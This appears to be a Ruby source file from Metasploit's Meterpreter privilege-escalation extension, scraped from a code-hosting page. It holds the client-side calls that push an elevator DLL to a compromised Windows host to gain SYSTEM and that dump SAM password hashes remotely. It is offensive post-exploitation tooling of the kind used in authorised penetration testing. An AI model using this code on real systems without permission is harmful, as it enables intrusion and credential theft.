115 lines
2.8 KiB
Ruby
115 lines
2.8 KiB
Ruby
#!/usr/bin/env ruby
|
|
# -*- coding: binary -*-
|
|
|
|
require 'rex/post/meterpreter/extensions/priv/tlv'
|
|
require 'rex/post/meterpreter/extensions/priv/passwd'
|
|
require 'rex/post/meterpreter/extensions/priv/fs'
|
|
|
|
module Rex
|
|
module Post
|
|
module Meterpreter
|
|
module Extensions
|
|
module Priv
|
|
|
|
###
|
|
#
|
|
# This meterpreter extensions a privilege escalation interface that is capable
|
|
# of doing things like dumping password hashes and performing local
|
|
# exploitation.
|
|
#
|
|
###
|
|
class Priv < Extension
|
|
|
|
#
|
|
# Initializes the privilege escalationextension.
|
|
#
|
|
def initialize(client)
|
|
super(client, 'priv')
|
|
|
|
client.register_extension_aliases(
|
|
[
|
|
{
|
|
'name' => 'priv',
|
|
'ext' => self
|
|
},
|
|
])
|
|
|
|
# Initialize sub-classes
|
|
self.fs = Fs.new(client)
|
|
end
|
|
|
|
#
|
|
# Attempt to elevate the meterpreter to Local SYSTEM
|
|
#
|
|
def getsystem( technique=0 )
|
|
request = Packet.create_request( 'priv_elevate_getsystem' )
|
|
|
|
elevator_name = Rex::Text.rand_text_alpha_lower( 6 )
|
|
|
|
if( client.platform == 'x64/win64' )
|
|
elevator_path = ::File.join( Msf::Config.install_root, "data", "meterpreter", "elevator.x64.dll" )
|
|
else
|
|
elevator_path = ::File.join( Msf::Config.install_root, "data", "meterpreter", "elevator.dll" )
|
|
end
|
|
|
|
elevator_path = ::File.expand_path( elevator_path )
|
|
|
|
elevator_data = ""
|
|
|
|
::File.open( elevator_path, "rb" ) { |f|
|
|
elevator_data += f.read( f.stat.size )
|
|
}
|
|
|
|
request.add_tlv( TLV_TYPE_ELEVATE_TECHNIQUE, technique )
|
|
request.add_tlv( TLV_TYPE_ELEVATE_SERVICE_NAME, elevator_name )
|
|
request.add_tlv( TLV_TYPE_ELEVATE_SERVICE_DLL, elevator_data )
|
|
request.add_tlv( TLV_TYPE_ELEVATE_SERVICE_LENGTH, elevator_data.length )
|
|
|
|
# as some service routines can be slow we bump up the timeout to 90 seconds
|
|
response = client.send_request( request, 90 )
|
|
|
|
technique = response.get_tlv_value( TLV_TYPE_ELEVATE_TECHNIQUE )
|
|
|
|
if( response.result == 0 and technique != nil )
|
|
client.core.use( "stdapi" ) if not client.ext.aliases.include?( "stdapi" )
|
|
client.sys.config.getprivs
|
|
if client.framework.db and client.framework.db.active
|
|
client.framework.db.report_note(
|
|
:host => client.sock.peerhost,
|
|
:workspace => client.framework.db.workspace,
|
|
:type => "meterpreter.getsystem",
|
|
:data => {:technique => technique}
|
|
) rescue nil
|
|
end
|
|
return [ true, technique ]
|
|
end
|
|
|
|
return [ false, 0 ]
|
|
end
|
|
|
|
#
|
|
# Returns an array of SAM hashes from the remote machine.
|
|
#
|
|
def sam_hashes
|
|
# This can take a long long time for large domain controls, bump the timeout to one hour
|
|
response = client.send_request(Packet.create_request('priv_passwd_get_sam_hashes'), 3600)
|
|
|
|
response.get_tlv_value(TLV_TYPE_SAM_HASHES).split(/\n/).map { |hash|
|
|
SamUser.new(hash)
|
|
}
|
|
end
|
|
|
|
#
|
|
# Modifying privileged file system attributes.
|
|
#
|
|
attr_reader :fs
|
|
|
|
protected
|
|
|
|
attr_writer :fs # :nodoc:
|
|
|
|
end
|
|
|
|
end; end; end; end; end
|
|
|